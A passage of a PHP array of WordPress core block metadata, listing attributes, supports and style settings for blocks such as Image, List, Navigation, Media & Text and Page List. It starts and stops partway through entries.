'__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalWritingMode' => true, 'fitText' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__unstablePasteTextInline' => true, '__experimentalSlashInserter' => true, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-heading-editor', 'style' => 'wp-block-heading' ), 'home-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/home-link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'title' => 'Home Link', 'description' => 'Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', 'role' => 'content' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'fontSize', 'customFontSize', 'style' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-home-link-editor', 'style' => 'wp-block-home-link' ), 'html' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/html', 'title' => 'Custom HTML', 'category' => 'widgets', 'description' => 'Add custom HTML code and preview it as you edit.', 'keywords' => array( 'embed' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw', 'role' => 'content' ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ), 'customCSS' => false, 'visibility' => false ), 'editorStyle' => 'wp-block-html-editor' ), 'icon' => array( 'apiVersion' => 3, '$schema' => 'https://schemas.wp.org/trunk/block.json', 'name' => 'core/icon', 'title' => 'Icon', 'category' => 'media', 'description' => 'Insert an SVG icon.', 'keywords' => array( 'icon', 'svg' ), 'textdomain' => 'default', 'attributes' => array( 'icon' => array( 'type' => 'string', 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'ariaLabel' => array( '__experimentalSkipSerialization' => true ), 'align' => array( 'left', 'center', 'right' ), 'html' => false, 'color' => array( 'background' => true, 'text' => true, '__experimentalSkipSerialization' => true ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => false, 'radius' => false, 'style' => false, 'width' => false ) ), 'spacing' => array( 'padding' => true, 'margin' => true, '__experimentalSkipSerialization' => array( 'padding' ), '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'dimensions' => array( 'width' => true, '__experimentalSkipSerialization' => array( 'width' ), '__experimentalDefaultControls' => array( 'width' => true ) ) ), 'selectors' => array( 'root' => '.wp-block-icon svg', 'css' => '.wp-block-icon', 'spacing' => array( 'margin' => '.wp-block-icon' ) ), 'style' => 'wp-block-icon', 'editorStyle' => 'wp-block-icon-editor' ), 'image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/image', 'title' => 'Image', 'category' => 'media', 'usesContext' => array( 'allowResize', 'imageCrop', 'fixedHeight', 'navigationButtonType', 'postId', 'postType', 'queryId', 'galleryId' ), 'description' => 'Insert an image to make a visual statement.', 'keywords' => array( 'img', 'photo', 'picture' ), 'textdomain' => 'default', 'attributes' => array( 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src', 'role' => 'content' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'lightbox' => array( 'type' => 'object', 'enabled' => array( 'type' => 'boolean' ) ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'title', 'role' => 'content' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'href', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'class' ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'aspectRatio' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string' ), 'focalPoint' => array( 'type' => 'object' ), 'sizeSlug' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'target' ) ), 'supports' => array( 'interactivity' => true, 'align' => array( 'left', 'center', 'right', 'wide', 'full' ), 'anchor' => true, 'color' => array( 'text' => false, 'background' => false ), 'filter' => array( 'duotone' => true ), 'spacing' => array( 'margin' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'shadow' => array( '__experimentalSkipSerialization' => true ) ), 'selectors' => array( 'border' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder', 'shadow' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder', 'filter' => array( 'duotone' => '.wp-block-image img, .wp-block-image .components-placeholder' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'editorStyle' => 'wp-block-image-editor', 'style' => 'wp-block-image' ), 'latest-comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/latest-comments', 'title' => 'Latest Comments', 'category' => 'widgets', 'description' => 'Display a list of your most recent comments.', 'keywords' => array( 'recent comments' ), 'textdomain' => 'default', 'attributes' => array( 'commentsToShow' => array( 'type' => 'number', 'default' => 5, 'minimum' => 1, 'maximum' => 100 ), 'displayAvatar' => array( 'type' => 'boolean', 'default' => true ), 'displayDate' => array( 'type' => 'boolean', 'default' => true ), 'displayContent' => array( 'type' => 'string', 'default' => 'excerpt', 'enum' => array( 'none', 'excerpt', 'full' ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-latest-comments' ), 'latest-posts' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/latest-posts', 'title' => 'Latest Posts', 'category' => 'widgets', 'description' => 'Display a list of your most recent posts.', 'keywords' => array( 'recent posts' ), 'textdomain' => 'default', 'attributes' => array( 'categories' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ) ), 'selectedAuthor' => array( 'type' => 'number' ), 'postsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayPostContent' => array( 'type' => 'boolean', 'default' => false ), 'displayPostContentRadio' => array( 'type' => 'string', 'default' => 'excerpt' ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayPostDate' => array( 'type' => 'boolean', 'default' => false ), 'postLayout' => array( 'type' => 'string', 'default' => 'list' ), 'columns' => array( 'type' => 'number', 'default' => 3 ), 'order' => array( 'type' => 'string', 'default' => 'desc' ), 'orderBy' => array( 'type' => 'string', 'default' => 'date' ), 'displayFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'featuredImageAlign' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right' ) ), 'featuredImageSizeSlug' => array( 'type' => 'string', 'default' => 'thumbnail' ), 'featuredImageSizeWidth' => array( 'type' => 'number', 'default' => null ), 'featuredImageSizeHeight' => array( 'type' => 'number', 'default' => null ), 'addLinkToFeaturedImage' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-latest-posts-editor', 'style' => 'wp-block-latest-posts' ), 'legacy-widget' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/legacy-widget', 'title' => 'Legacy Widget', 'category' => 'widgets', 'description' => 'Display a legacy widget.', 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'string', 'default' => null ), 'idBase' => array( 'type' => 'string', 'default' => null ), 'instance' => array( 'type' => 'object', 'default' => null ) ), 'supports' => array( 'html' => false, 'customClassName' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-legacy-widget-editor' ), 'list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list', 'title' => 'List', 'category' => 'text', 'allowedBlocks' => array( 'core/list-item' ), 'description' => 'An organized collection of items displayed in a specific order.', 'keywords' => array( 'bullet list', 'ordered list', 'numbered list' ), 'textdomain' => 'default', 'attributes' => array( 'ordered' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'values' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'ol,ul', 'multiline' => 'li', 'default' => '', 'role' => 'content' ), 'type' => array( 'type' => 'string' ), 'start' => array( 'type' => 'number' ), 'reversed' => array( 'type' => 'boolean' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'html' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__unstablePasteTextInline' => true, '__experimentalOnMerge' => true, '__experimentalSlashInserter' => true, 'interactivity' => array( 'clientNavigation' => true ), 'listView' => true ), 'selectors' => array( 'border' => '.wp-block-list:not(.wp-block-list .wp-block-list)' ), 'editorStyle' => 'wp-block-list-editor', 'style' => 'wp-block-list' ), 'list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/list-item', 'title' => 'List Item', 'category' => 'text', 'parent' => array( 'core/list' ), 'allowedBlocks' => array( 'core/list' ), 'description' => 'An individual item within a list.', 'textdomain' => 'default', 'attributes' => array( 'placeholder' => array( 'type' => 'string' ), 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'li', 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'className' => false, 'splitting' => true, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, 'link' => true, 'background' => true, '__experimentalDefaultControls' => array( 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'root' => '.wp-block-list > li', 'border' => '.wp-block-list:not(.wp-block-list .wp-block-list) > li' ) ), 'loginout' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/loginout', 'title' => 'Login/out', 'category' => 'theme', 'description' => 'Show login & logout links.', 'keywords' => array( 'login', 'logout', 'form' ), 'textdomain' => 'default', 'attributes' => array( 'displayLoginAsForm' => array( 'type' => 'boolean', 'default' => false ), 'redirectToCurrent' => array( 'type' => 'boolean', 'default' => true ) ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'anchor' => true, 'className' => true, 'color' => array( 'background' => true, 'text' => false, 'gradients' => true, 'link' => true ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-loginout' ), 'math' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/math', 'title' => 'Math', 'category' => 'text', 'description' => 'Display mathematical notation using LaTeX.', 'keywords' => array( 'equation', 'formula', 'latex', 'mathematics' ), 'textdomain' => 'default', 'supports' => array( 'anchor' => true, 'html' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'attributes' => array( 'latex' => array( 'type' => 'string', 'role' => 'content' ), 'mathML' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'math' ) ) ), 'media-text' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/media-text', 'title' => 'Media & Text', 'category' => 'media', 'description' => 'Set media and words side-by-side for a richer layout.', 'keywords' => array( 'image', 'video' ), 'textdomain' => 'default', 'attributes' => array( 'align' => array( 'type' => 'string', 'default' => 'none' ), 'mediaAlt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure img', 'attribute' => 'alt', 'default' => '', 'role' => 'content' ), 'mediaPosition' => array( 'type' => 'string', 'default' => 'left' ), 'mediaId' => array( 'type' => 'number', 'role' => 'content' ), 'mediaUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure video,figure img', 'attribute' => 'src', 'role' => 'content' ), 'mediaLink' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'target' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'href', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure a', 'attribute' => 'class' ), 'mediaType' => array( 'type' => 'string', 'role' => 'content' ), 'mediaWidth' => array( 'type' => 'number', 'default' => 50 ), 'mediaSizeSlug' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'verticalAlignment' => array( 'type' => 'string' ), 'imageFill' => array( 'type' => 'boolean' ), 'focalPoint' => array( 'type' => 'object' ), 'useFeaturedImage' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), 'allowedBlocks' => true ), 'editorStyle' => 'wp-block-media-text-editor', 'style' => 'wp-block-media-text' ), 'missing' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/missing', 'title' => 'Unsupported', 'category' => 'text', 'description' => 'Your site doesn’t include support for this block.', 'textdomain' => 'default', 'attributes' => array( 'originalName' => array( 'type' => 'string' ), 'originalUndelimitedContent' => array( 'type' => 'string' ), 'originalContent' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'inserter' => false, 'html' => false, 'lock' => false, 'reusable' => false, 'renaming' => false, 'visibility' => false, 'interactivity' => array( 'clientNavigation' => true ), 'customCSS' => false ) ), 'more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/more', 'title' => 'More', 'category' => 'design', 'description' => 'Content before this block will be shown in the excerpt on your archives page.', 'keywords' => array( 'read more' ), 'textdomain' => 'default', 'attributes' => array( 'customText' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ), 'noTeaser' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'multiple' => false, 'visibility' => false, 'interactivity' => array( 'clientNavigation' => true ), 'customCSS' => false ), 'editorStyle' => 'wp-block-more-editor' ), 'navigation' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation', 'title' => 'Navigation', 'category' => 'theme', 'allowedBlocks' => array( 'core/navigation-link', 'core/search', 'core/social-links', 'core/page-list', 'core/spacer', 'core/home-link', 'core/icon', 'core/site-title', 'core/site-logo', 'core/navigation-submenu', 'core/loginout', 'core/buttons' ), 'description' => 'A collection of blocks that allow visitors to get around your site.', 'keywords' => array( 'menu', 'navigation', 'links' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ), 'textColor' => array( 'type' => 'string' ), 'customTextColor' => array( 'type' => 'string' ), 'rgbTextColor' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'customBackgroundColor' => array( 'type' => 'string' ), 'rgbBackgroundColor' => array( 'type' => 'string' ), 'showSubmenuIcon' => array( 'type' => 'boolean', 'default' => true ), 'submenuVisibility' => array( 'type' => 'string', 'enum' => array( 'hover', 'click', 'always' ), 'default' => 'hover' ), 'overlayMenu' => array( 'type' => 'string', 'default' => 'mobile' ), 'overlay' => array( 'type' => 'string' ), 'icon' => array( 'type' => 'string', 'default' => 'handle' ), 'hasIcon' => array( 'type' => 'boolean', 'default' => true ), '__unstableLocation' => array( 'type' => 'string' ), 'overlayBackgroundColor' => array( 'type' => 'string' ), 'customOverlayBackgroundColor' => array( 'type' => 'string' ), 'overlayTextColor' => array( 'type' => 'string' ), 'customOverlayTextColor' => array( 'type' => 'string' ), 'maxNestingLevel' => array( 'type' => 'number', 'default' => 5 ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'providesContext' => array( 'textColor' => 'textColor', 'customTextColor' => 'customTextColor', 'backgroundColor' => 'backgroundColor', 'customBackgroundColor' => 'customBackgroundColor', 'overlayTextColor' => 'overlayTextColor', 'customOverlayTextColor' => 'customOverlayTextColor', 'overlayBackgroundColor' => 'overlayBackgroundColor', 'customOverlayBackgroundColor' => 'customOverlayBackgroundColor', 'fontSize' => 'fontSize', 'customFontSize' => 'customFontSize', 'showSubmenuIcon' => 'showSubmenuIcon', 'submenuVisibility' => 'submenuVisibility', 'openSubmenusOnClick' => 'openSubmenusOnClick', 'style' => 'style', 'maxNestingLevel' => 'maxNestingLevel' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'ariaLabel' => true, 'contentRole' => true, 'html' => false, 'inserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalTextTransform' => true, '__experimentalFontFamily' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalSkipSerialization' => array( 'textDecoration' ), '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'blockGap' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'allowSizingOnChildren' => true, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => true, 'renaming' => false ), 'editorStyle' => 'wp-block-navigation-editor', 'style' => 'wp-block-navigation' ), 'navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-link', 'title' => 'Custom Link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'allowedBlocks' => array( 'core/navigation-link', 'core/navigation-submenu', 'core/page-list' ), 'description' => 'Add a page, link, or another item to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', 'role' => 'content' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string', 'role' => 'content' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelLink' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'style' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, '__experimentalSlashInserter' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-navigation-link-editor', 'style' => 'wp-block-navigation-link' ), 'navigation-overlay-close' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-overlay-close', 'title' => 'Navigation Overlay Close', 'category' => 'design', 'description' => 'A customizable button to close overlays.', 'keywords' => array( 'close', 'overlay', 'navigation', 'menu' ), 'textdomain' => 'default', 'attributes' => array( 'displayMode' => array( 'type' => 'string', 'enum' => array( 'icon', 'text', 'both' ), 'default' => 'icon' ), 'text' => array( 'type' => 'string' ) ), 'supports' => array( 'color' => array( 'gradients' => false, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-navigation-overlay-close' ), 'navigation-submenu' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/navigation-submenu', 'title' => 'Submenu', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'description' => 'Add a submenu to your navigation.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', 'role' => 'content' ), 'type' => array( 'type' => 'string' ), 'description' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string' ), 'id' => array( 'type' => 'number' ), 'opensInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'url' => array( 'type' => 'string', 'role' => 'content' ), 'title' => array( 'type' => 'string' ), 'kind' => array( 'type' => 'string' ), 'isTopLevelItem' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'maxNestingLevel', 'openSubmenusOnClick', 'submenuVisibility', 'style' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-navigation-submenu-editor', 'style' => 'wp-block-navigation-submenu' ), 'nextpage' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/nextpage', 'title' => 'Page Break', 'category' => 'design', 'description' => 'Separate your content into a multi-page experience.', 'keywords' => array( 'next page', 'pagination' ), 'parent' => array( 'core/post-content' ), 'textdomain' => 'default', 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'visibility' => false, 'interactivity' => array( 'clientNavigation' => true ), 'customCSS' => false ), 'editorStyle' => 'wp-block-nextpage-editor' ), 'page-list' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list', 'title' => 'Page List', 'category' => 'widgets', 'allowedBlocks' => array( 'core/page-list-item' ), 'description' => 'Display a list of all pages.', 'keywords' => array( 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'parentPageID' => array( 'type' => 'integer', 'default' => 0 ), 'isNested' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick', 'submenuVisibility' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), 'color' => array( 'text' => true, 'background' => true, 'link' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'spacing' => array( 'padding' => true, 'margin' => true, '__experimentalDefaultControls' => array( 'padding' => false, 'margin' => false ) ), 'contentRole' => true ), 'editorStyle' => 'wp-block-page-list-editor', 'style' => 'wp-block-page-list' ), 'page-list-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/page-list-item', 'title' => 'Page List Item', 'category' => 'widgets', 'parent' => array( 'core/page-list' ), 'description' => 'Displays a page inside a list of all pages.', 'keywords' => array( 'page', 'menu', 'navigation' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'label' => array( 'type' => 'string' ), 'title' => array( 'type' => 'string' ), 'link' => array( 'type' => 'string' ), 'hasChildren' => array( 'type' => 'boolean' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'overlayTextColor', 'customOverlayTextColor', 'overlayBackgroundColor', 'customOverlayBackgroundColor', 'fontSize', 'customFontSize', 'showSubmenuIcon', 'style', 'openSubmenusOnClick', 